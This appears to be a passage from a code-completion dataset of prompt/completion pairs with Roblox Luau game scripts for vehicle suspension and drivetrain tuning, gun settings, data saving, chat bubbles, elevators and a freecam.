"\n\tTune.SusEnabled\t\t= true\t\t-- Sets whether suspension is enabled \n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.FSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t --[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t --[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.RAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.RSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t --[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t --[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n"} +{"prompt": "------------------\n--SPAWNING--\n------------------", "completion": "\n\nmiked=script.Parent\n\nitlh=miked.Torso:findFirstChild(\"Left Hip\")\nitlh.Part0=miked.Torso\nitlh.Part1=miked:findFirstChild(\"Left Leg\")\nitlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\nitrh=miked.Torso:findFirstChild(\"Right Hip\")\nitrh.Part0=miked.Torso\nitrh.Part1=miked:findFirstChild(\"Right Leg\")\nitrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\n\nitls=miked.Torso:findFirstChild(\"Left Shoulder\")\nitls.Part1=miked.Torso\nitls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\nitls.Part0=miked:findFirstChild(\"Left Arm\")\n\nitrs=miked.Torso:findFirstChild(\"Right Shoulder\")\nitrs.Part1=miked.Torso\nitrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\nitrs.Part0=miked:findFirstChild(\"Right Arm\")\n\nmiked.Head:makeJoints()"} +{"prompt": "--==================================================", "completion": "\n\nlocal function Enabler(plyr)\n\tif Enabled then\n\t\tlocal AmmoRefilled = false\n\t\tlocal Player = plyr\n\t\tif Player then\n\t\t\tfor _, GunName in pairs(GunToRefillAmmo) do\n\t\t\t\tlocal Gun = Player.Backpack:FindFirstChild(GunName) or Player.Character:FindFirstChild(GunName)\n\t\t\t\tif Gun then\n\t\t\t\t\tlocal GunScript = Gun:FindFirstChild(\"GunScript_Server\")\n\t\t\t\t\tlocal Module = Gun:FindFirstChild(\"Setting\")\n\t\t\t\t\tif GunScript and Module then\n\t\t\t\t\t\tlocal Module = require(Module)\n\t\t\t\t\t\tif GunScript.Ammo.Value < Module.MaxAmmo and Module.LimitedAmmoEnabled then\n\t\t\t\t\t\t\tif Cooldown ~= 0 then\n\t\t\t\t\t\t\t\tEnabled = false\n\t\t\t\t\t\t\t\tAmmoBox.Main.Sound:Play()\n\t\t\t\t\t\t\t\tlocal function delayer()\n\t\t\t\t\t\t\t\t\tEnabled = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tdelay(Cooldown, delayer)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tAmmoBox.Main.Sound:Play()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tAmmoRefilled = true\n\t\t\t\t\t\t\tlocal ChangedAmmo = (Ammo == math.huge or GunScript.Ammo.Value + Ammo >= Module.Ammo) and Module.MaxAmmo or (GunScript.Ammo.Value + Ammo)\n\t\t\t\t\t\t\tGunScript.Ammo.Value = ChangedAmmo\n\t\t\t\t\t\t\tGunScript.ChangeMagAndAmmo:FireClient(Player,Module.AmmoPerMag,ChangedAmmo,0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\nAmmoBox.ClickDetector.MouseClick:Connect(Enabler)\n"} +{"prompt": "-- Gets an int and updates time left", "completion": "\nfunction DisplayManager.updateTime(timeToUpdate)\n\ttimeLeft.Value = timeToUpdate\nend\n"} +{"prompt": "--// Functions", "completion": "\nfunction MakeFakeArms()\n\tArms = Instance.new(\"Model\")\n\tArms.Name = \"Arms\"\n\tArms.Parent = L_5_\n\n\tlocal L_161_ = Instance.new(\"Humanoid\")\n\tL_161_.MaxHealth = 0\n\tL_161_.Health = 0\n\tL_161_.Name = \"\"\n\tL_161_.Parent = Arms\n\t\t\n\tif L_3_:FindFirstChild(\"Shirt\") then\n\t\tlocal L_166_ = L_3_:FindFirstChild(\"Shirt\"):clone()\n\t\tL_166_.Parent = Arms\n\tend\n\t\n\tlocal L_162_ = L_3_:FindFirstChild(\"Right Arm\"):clone()\n\tfor L_167_forvar1, L_168_forvar2 in pairs(L_162_:GetChildren()) do\n\t\tif L_168_forvar2:IsA('Motor6D') then\n\t\t\tL_168_forvar2:Destroy()\n\t\tend\n\tend\n\tL_162_.Name = \"Right Arm\"\n\tL_162_.FormFactor = \"Custom\"\n\tL_162_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_162_.Transparency = 0.0\n\t\n\tlocal L_163_ = Instance.new(\"Motor6D\")\n\tL_163_.Part0 = L_162_\n\tL_163_.Part1 = L_3_:FindFirstChild(\"Right Arm\")\n\tL_163_.C0 = CFrame.new()\n\tL_163_.C1 = CFrame.new()\n\tL_163_.Parent = L_162_\t\n\tL_162_.Parent = Arms\n\t\t\n\tlocal L_164_ = L_3_:FindFirstChild(\"Left Arm\"):clone()\n\tL_164_.Name = \"Left Arm\"\n\tL_164_.FormFactor = \"Custom\"\n\tL_164_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_164_.Transparency = 0.0\t\n\t\n\tlocal L_165_ = Instance.new(\"Motor6D\")\n\tL_165_.Part0 = L_164_\n\tL_165_.Part1 = L_3_:FindFirstChild(\"Left Arm\")\n\tL_165_.C0 = CFrame.new()\n\tL_165_.C1 = CFrame.new()\n\tL_165_.Parent = L_164_\t\n\tL_164_.Parent = Arms\nend\n\nfunction RemoveArmModel()\n\tif Arms then\n\t\tArms:Destroy()\n\t\tArms = nil\n\tend\nend\n\nlocal L_124_\n\nfunction CreateShell()\n\tL_124_ = time()\n\tlocal L_169_ = L_1_.Shell:clone()\n\tif L_169_:FindFirstChild('Shell') then\n\t\tL_169_.Shell:Destroy()\n\tend\n\tL_169_.CFrame = L_1_.Chamber.CFrame\n\tL_169_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)\n\t--shell.RotVelocity = Vector3.new(-10,40,30)\n\tL_169_.Parent = L_93_\n\tL_169_.CanCollide = false\n\tgame:GetService(\"Debris\"):addItem(L_169_, 1)\nend\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"RWD\"\t\t-- \"FWD\" , \"RWD\" , \"AWD\"\n\tTune.TorqueVector\t= .4\t\t-- AWD ONLY, \"-1\" has a 100% front bias, \"0\" has a 50:50 bias, and \"1\" has a 100% rear bias. Can be any number between that range.\n\t\n\t-- Differential Settings\n\tTune.DifferentialType = 'New'\t-- New: Fairly precise and accurate settings based on a real differential\n\t\t\t\t\t\t\t\t\t-- Old: Same differential as previous iterations of AC6\n\t\n\t-- Old Options\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 80\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 20\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t-- New Options (LuaInt)\n\tTune.FDiffPower\t\t= 30\t\t-- 0 - 100\t\t\t\tHigher values yield more wheel lock-up under throttle, more stability (Front wheels if driven only)\n\tTune.FDiffCoast\t\t= 10\t\t-- 0 - 100\t\t\t\tHigher values yield more wheel lock-up when off throttle, more stability (Front wheels if driven only)\n\tTune.FDiffPreload\t= 10\t\t-- 0 - 100\t\t\t\tHigher values will make the wheels generally lock up faster in any environment (Front wheels if driven only)\n\tTune.RDiffPower\t\t= 40\t\t-- 0 - 100\t\t\t\t(Rear wheels if driven only)\n\tTune.RDiffCoast\t\t= 20\t\t-- 0 - 100\t\t\t\t(Rear wheels if driven only)\n\tTune.RDiffPreload\t= 20\t\t-- 0 - 100\t\t\t\t(Rear wheels if driven only)\n\t\n\t-- Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "-----------------------------------------------------------------------", "completion": "\nscript.Parent.Parent.Parent.Parent.Character.Humanoid.WalkSpeed = 16\nscript.Parent.TextBox.Text = \"Enter WalkSpeed\"\nscript.Parent.BackgroundColor3 = Color3.new(0.333, 0.333, 0.333)\nscript.Parent.LocalScript.Disabled = false"} +{"prompt": "-- Custom Services", "completion": "\nlocal database = require(game:GetService(\"ServerScriptService\").Database.DatabaseHandler)\n\nlocal function OnCharacterAdded(character)\n\t\n\t--Setup variables\n\tlocal statsFolder = Instance.new(\"Folder\")\n\tstatsFolder.Name = \"Stats\"\n\t\n\tlocal safeZoneBool = Instance.new(\"IntValue\")\n\tsafeZoneBool.Name = \"isSafe\"\n\tsafeZoneBool.Parent = statsFolder\n\t\n\tstatsFolder.Parent = character\nend\n\nplayers.PlayerAdded:Connect(function(player)\n\tlocal playerID = player.UserId\n\t\n\t\n\tlocal playerProfile = database.GetProfile(playerID)\n\tif not playerProfile or playerProfile == 0 then\n\t\tdatabase.CreateProfile(playerID)\n\telse\n\t\t-- Perform this check in case someone adds new properties to the data template\n\t\tdatabase.UpdateProfileTemplate(playerID)\n\tend\n\t\n\tplayer.CharacterAdded:Connect(OnCharacterAdded)\n\tplayer:LoadCharacter()\nend)\n\t\nplayers.PlayerRemoving:Connect(function(player) \n\tlocal playerID = player.UserId\n\tdatabase.SaveProfile(playerID)\nend)\n"} +{"prompt": "--[[\n\tCalled when the watched state changes value.\n]]", "completion": "\nfunction class:update(): boolean\n\tfor _, callback in pairs(self._changeListeners) do\n\t\ttask.spawn(callback)\n\tend\n\treturn false\nend\n"} +{"prompt": "--[[ SCRIPT VARIABLES ]]", "completion": "\nlocal CHAT_BUBBLE_FONT = Enum.Font.Antique\nlocal CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match\nlocal CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match\nlocal CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10\nlocal CHAT_BUBBLE_TAIL_HEIGHT = 14\nlocal CHAT_BUBBLE_WIDTH_PADDING = 30\nlocal CHAT_BUBBLE_PADDING = 12\nlocal CHAT_BUBBLE_FADE_SPEED = 1.5\n\nlocal BILLBOARD_MAX_WIDTH = 400\nlocal BILLBOARD_MAX_HEIGHT = 250\t--This limits the number of bubble chats that you see above characters\n\nlocal ELIPSES = \"...\"\nlocal MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.\nlocal MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1\n\nlocal NEAR_BUBBLE_DISTANCE = 65\t--previously 45\nlocal MAX_BUBBLE_DISTANCE = 100\t--previously 80\n"} +{"prompt": "--\t\t\t\t\t\t\t\t\t\tif human.Health <= 0 then\n--\t\t\t\t\t\t\t\t\t\t\ttorso.Velocity = (torso.Position - position).unit * 10;\n--\t\t\t\t\t\t\t\t\t\t\tprint(\"Dead\");\n--\t\t\t\t\t\t\t\t\t\tend", "completion": "\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tprint(\"Took \"..(100-(distance-radius)*(100/radius))..\" Damage\")\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telseif human2 then\n\t\t\t\t\t\t\t\t\tdistance = (position-origPos).magnitude"} +{"prompt": "-- When a player with the game pass touches the door, teleport them to the other side", "completion": "\nlocal function OnTouched(otherPart)\n\tif otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then\n\t\tlocal player = PlayersService:GetPlayerFromCharacter(otherPart.Parent)\n\t\tif player and not JustTouched[player] then\n\t\t\tJustTouched[player] = time()\n\t\t\tif GamePassService:UserOwnsGamePassAsync(player.userId, GamePassIdObject.Value) then\n\t\t\t\tTeleportToOtherSide(player.Character, otherPart)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Mimic roblox menu when opened and closed", "completion": "\nguiService.MenuClosed:Connect(function()\n\tmenuOpen = false\n\tif not IconController.controllerModeEnabled then\n\t\tIconController.setTopbarEnabled(IconController.topbarEnabled, false)\n\tend\nend)\nguiService.MenuOpened:Connect(function()\n\tmenuOpen = true\n\tIconController.setTopbarEnabled(false, false)\nend)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = false\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = false\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 0\t\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = false\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = false\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 1.25\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0)\n\t,SlideExtend = Vector3.new(0, 0, 0)\t"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.6; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.46; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.43; -- How much the camera flicks when aiming\n\t\n\tCamShake = 1; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 1; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 0.0; -- Upward gun rotation when not aiming\n\tAimKickback = 0.0; -- Upward gun rotation when aiming\n\t"} +{"prompt": "--[[ Chassis Variables ]]", "completion": "--\nlocal VehicleParameters = { -- These are default values in the case the package structure is broken\n\tMaxSpeed = 75/mphConversion,\n\tReverseSpeed = 45/mphConversion,\n\tDrivingTorque = 30000,\n\tBrakingTorque = 70000,\n\tStrutSpringStiffnessFront = 28000,\n\tStrutSpringDampingFront = 1430,\n\tStrutSpringStiffnessRear = 27000,\n\tStrutSpringDampingRear = 1400,\n\tTorsionSpringStiffness = 20000,\n\tTorsionSpringDamping = 150,\n\tMaxSteer = 0.55,\n\tWheelFriction = 2\n}\n\nlocal Chassis = nil\nlocal LimitSteerAtHighVel = true"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = false;\n\tBurstEnabled = false;\n\tSemiEnabled = true;\n\tAutoEnabled = false;\n\tBoltAction = false;\n\tExplosiveEnabled = false;\n\t"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 500\n\t,BDrop = .25\n\t,BSpeed = 2000\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = false\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 5\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "-- [ SETTINGS ] --", "completion": "\n\nlocal statsName = \"Cash\" -- Your stats name\nlocal maxItems = 100 -- Max number of items to be displayed on the leaderboard\nlocal minValueDisplay = 1 -- Any numbers lower than this will be excluded\nlocal maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded\nlocal abbreviateValue = true -- The displayed number gets abbreviated to make it \"human readable\"\nlocal updateEvery = 60 -- (in seconds) How often the leaderboard has to update\nlocal headingColor = Color3.fromRGB(20, 102, 254) -- The background color of the heading\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.65, -0.2, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(1.2,0.1,-1.6) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nwhile true do\n\twait()\n\tif Elevator:WaitForChild(\"Direction\").Value ~= 0 then \n\t\tSetDisplay(1,(Elevator:WaitForChild(\"Direction\").Value == 1 and \"U\" or \"D\")..0)\n\t\tif Elevator:WaitForChild(\"Velocity\").Value ~= 0 then\n\t\t\tfor S=1,6 do\n\t\t\t\twait(0.1)\n\t\t\t\tSetDisplay(1,(Elevator:WaitForChild(\"Direction\").Value == 1 and \"U\" or \"D\")..S)\n\t\t\tend\n\t\tend\n\telse\n\t\tSetDisplay(1,\"NIL\")\n\tend\nend\n"} +{"prompt": "-- Release all loaded profiles when the server is shutting down:", "completion": "\ncoroutine.wrap(function()\n\tWaitForLiveAccessCheck()\n\tMadwork.ConnectToOnClose(\n\t\tfunction()\n\t\t\tProfileService.ServiceLocked = true\n\t\t\t-- 1) Release all active profiles: --\n\t\t\t-- Clone AutoSaveList to a new table because AutoSaveList changes when profiles are released:\n\t\t\tlocal on_close_save_job_count = 0\n\t\t\tlocal active_profiles = {}\n\t\t\tfor index, profile in ipairs(AutoSaveList) do\n\t\t\t\tactive_profiles[index] = profile\n\t\t\tend\n\t\t\t-- Release the profiles; Releasing profiles can trigger listeners that release other profiles, so check active state:\n\t\t\tfor _, profile in ipairs(active_profiles) do\n\t\t\t\tif profile:IsActive() == true then\n\t\t\t\t\ton_close_save_job_count = on_close_save_job_count + 1\n\t\t\t\t\tcoroutine.wrap(function() -- Save profile on new thread\n\t\t\t\t\t\tSaveProfileAsync(profile, true)\n\t\t\t\t\t\ton_close_save_job_count = on_close_save_job_count - 1\n\t\t\t\t\tend)()\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- 2) Yield until all active profile jobs are finished: --\n\t\t\twhile on_close_save_job_count > 0 or ActiveProfileLoadJobs > 0 or ActiveProfileSaveJobs > 0 do\n\t\t\t\tMadwork.HeartbeatWait()\n\t\t\tend\n\t\t\treturn -- We're done!\n\t\tend,\n\t\tUseMockDataStore == false -- Always run this OnClose task if using Roblox API services\n\t)\nend)()\n\nreturn ProfileService\n"} +{"prompt": "-- actiontime should always be 0 unless you are using the two commands above for the delay", "completion": "\n"} +{"prompt": "--This is the server sided module for handling this vehicles seating requests", "completion": "\nlocal Players = game:GetService(\"Players\")\nlocal Workspace = game:GetService(\"Workspace\")\nlocal HttpService = game:GetService(\"HttpService\")\n\nlocal DOOR_OPEN_SPEED = 2.15\nlocal DOOR_OPEN_ANGLE = 55\nlocal DOOR_OPEN_TIME = 0.5 --How long the door stays open for when entering/leaving\n\nlocal MAX_SEATING_DISTANCE = 15\nlocal MIN_FLIP_ANGLE = 70 --degrees from vertical\n\nlocal PackagedScripts = script.Parent\nlocal PackagedVehicle = PackagedScripts.Parent\nlocal VehicleConfig = PackagedVehicle:WaitForChild(\"Configuration\", 10)\nif not VehicleConfig then\n\twarn(\"No vehicle configuration present, will use default values\")\nend\n\nlocal AllowCarjacking = false\nlocal AllowCarjackingConfig = VehicleConfig:WaitForChild(\"AllowCarjacking\", 10)\nif not AllowCarjackingConfig then\n\twarn(\"No AllowCarjacking configuration present, will use default value of false\")\nelse\n\tAllowCarjacking = AllowCarjackingConfig.Value\nend\n\n\nlocal RemotesFolder = nil --Set later in the code by the SetRemotesFolder function\n"} +{"prompt": "-- When tool is selected", "completion": "\nfunction onSelected(mouse)\n\tmyMouse = mouse;\n\tmouse.Icon = \"rbxassetid://412054506\"; -- Change The ID - Eng\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end);\n\tmouse.Button1Up:connect(function() onButton1Up(mouse) end);\n\tmouse.KeyDown:connect(onKeyDown);\n\tmouse.KeyUp:connect(onKeyUp);\n\n\tupdateAmmo();\n\tprint(\"Tank Tool Equipped\")\n\t\n\twait()\n\t\n\t\n\tparts.Parent.Driver.Value = script.Parent.Parent.Parent.Name\n\t\n\tif Active == true then\n\t\twhile Active do\n\t\tupdateAmmo()\n\t\t\n\t\twait()\t\t\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Validation", "completion": "\nif RadioButtonGroupValue == nil then\n\twarn(\"Missing ObjectValue for radio button group\")\n\treturn\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal v1 = {};\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nfor v2, v3 in ipairs(script:GetChildren()) do\n\tif v3.ClassName == \"ModuleScript\" then\n\t\tv1[v3.Name] = require(v3);\n\tend;\nend;\nreturn v1;\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\n\tlocal gui = client.UI.Prepare(script.Parent.Parent)\n\tlocal frame = gui.Frame\n\tlocal frame2 = frame.Frame\n\tlocal msg = frame2.Message\n\tlocal ttl = frame2.Title\n\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\n\tif not data.Message or not data.Title then gTable:Destroy() end\n\n\tttl.Text = title\n\tmsg.Text = message\n\n\tlocal function fadeOut()\n\t\tfor i = 1,12 do\n\t\t\tmsg.TextTransparency = msg.TextTransparency+0.05\n\t\t\tttl.TextTransparency = ttl.TextTransparency+0.05\n\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency+0.05\n\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency+0.05\n\t\t\tframe2.BackgroundTransparency = frame2.BackgroundTransparency+0.05\n\t\t\tservice.Wait(\"Stepped\")\n\t\tend\n\t\tservice.UnWrap(gui):Destroy()\n\tend\n\n\tgTable.CustomDestroy = function()\n\t\tfadeOut()\n\tend\n\n\ttask.spawn(function()\n\t\tlocal sound = Instance.new(\"Sound\",service.LocalContainer())\n\t\tsound.SoundId = \"rbxassetid://7152561753\"\n\t\tsound.Volume = 0.3\n\t\ttask.wait(0.1)\n\t\tsound:Play()\n\t\ttask.wait(1)\n\t\tsound:Destroy()\n\tend)\n\n\tgTable.Ready()\n\n\tframe:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2)\n\n\tif not tim then\n\t\tlocal _,time = message:gsub(\" \",\"\")\n\t\ttime = math.clamp(time/2,4,11)+1\n\t\ttask.wait(time)\n\telse\n\t\ttask.wait(tim)\n\tend\n\n\tfadeOut()\nend\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nCharacters = require(script.Characters)\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.03)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, -0.004, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\tend\nend\n\n\nChangeFloor(Btn.Name)\n\nscript:Destroy()\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal function EnterFreecam()\n\tToggleGui(false)\n\tUIS.MouseIconEnabled = false\n\tMaid:Mark(UIS.InputBegan:Connect(function(input, processed)\n\t\tif input.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\t\tUIS.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition\n\t\t\tlocal conn = UIS.InputChanged:Connect(Panned)\n\t\t\trepeat\n\t\t\t\tinput = UIS.InputEnded:wait()\n\t\t\tuntil input.UserInputType == Enum.UserInputType.MouseButton2 or not freeCamEnabled\n\t\t\tpanDeltaMouse = Vector2.new()\n\t\t\tpanDeltaGamepad = 